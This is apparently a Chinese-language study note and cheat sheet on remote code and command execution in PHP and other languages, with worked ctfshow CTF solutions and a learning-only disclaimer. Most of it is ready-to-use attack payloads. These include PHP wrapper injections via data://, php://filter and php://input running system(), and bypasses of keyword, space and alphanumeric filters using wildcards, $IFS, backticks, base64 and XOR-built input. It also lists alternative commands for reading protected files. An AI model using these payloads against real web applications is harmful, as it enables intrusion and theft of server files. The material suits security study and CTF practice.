免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP
PHP代码执行函数
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
等
PHP命令执行函数
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
2.Python
eval exec subprocess os.system commands
3.Java
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等.
伪协议玩法
配合文件包含伪协议(代码执行)
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php
关键字过滤
过滤flag关键字
通配符
flag=fl*
cat fl*
cat ?la*
转义符号
ca\t /fl\ag
cat fl''ag
使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
拼接法
a=fl;b=ag;cat$IFS$a$b
反引号绕过
cat `ls`
编码绕过
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
异或无符号(过滤0-9a-zA-Z)
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
过滤函数关键字
内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag
过滤空格
%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
异或案例
异或是一种二进制的位运算,符号以 XOR 或 ^ 表示
过滤所有字符
异或运算
在rce-xor.php中修改preg,过滤规则/[a-z0-9]/i
,运行生成一个res.txt
使用rce-xor.py生成payload,使用system命令执行ipconfig
成功执行ipconfig
或运算
在rce-xor-or.php中修改preg,过滤规则/[a-z0-9]/i
,运行生成一个res_xor.txt
使用rce-xor-or.py生成payload,使用system命令执行ver
成功执行ver
ctfshow-29
如果c参数里面没有flag就执行eval
c=system('tac fl*');
ctfshow-30
过滤flag
,system
,php
过滤system使用shell_exec
c=echo shell_exec('tac fl*');
- 1
ctfshow-31
参数逃逸
过滤flag|system|php|cat|sort|shell
因为只过滤c里面的参数,重新传参到x就不会过滤
c=eval($_GET[x]);&x=system('tac flag*');
ctfshow-32~36
还过滤了空格
文件包含伪协议
利用data://text/plain协议执行system
c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag*');?>
利用php://filter/read协议base64编码读取,再使用hackbar进行base64解码
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow-37~39
include包含c参数
c=data://text/plain,<?php system('tac fla*');?>
c=php://input
post:<?php system('tac flag.php');?>